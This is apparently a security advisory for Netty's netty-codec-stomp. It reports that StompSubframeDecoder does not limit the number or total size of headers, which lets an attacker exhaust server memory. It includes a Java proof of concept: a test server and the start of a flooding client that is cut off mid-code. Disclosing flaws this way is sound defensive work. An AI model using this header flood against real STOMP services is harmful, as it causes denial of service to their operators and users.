Affected: Maven: io.netty:netty-codec-stomp

### Summary The StompSubframeDecoder fails to limit the total number of headers or their cumulative size per frame, allowing an attacker to cause an OutOfMemoryError, leading to a Denial of Service.

### Details `io.netty.handler.codec.stomp.StompSubframeDecoder` implements the STOMP protocol. The `maxLineLength` parameter restricts the length of individual header lines, but there is no mechanism to limit the total number of headers in a single STOMP frame. An attacker can send a large number of short headers (e.g., `a: 1\n`), which are accumulated in memory inside the `DefaultStompHeadersSubframe` until the JVM throws an OutOfMemoryError.

### PoC Run the server with `-Xmx256m`

```java public final class ServerApp { public static void main(String[] args) throws Exception { EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory()); try { ChannelFuture serverFuture = new ServerBootstrap() .group(group) .channel(NioServerSocketChannel.class) .childHandler(new StompSubframeDecoder()) .bind(8080) .sync(); serverFuture.channel().closeFuture().sync(); } finally { group.shutdownGracefully(); } } } ```

```java public final class ClientApp { public static void main(String[] args) throws Exception { try (Socket socket = new Socket("127.0.0.1", 8080)) { OutputStre…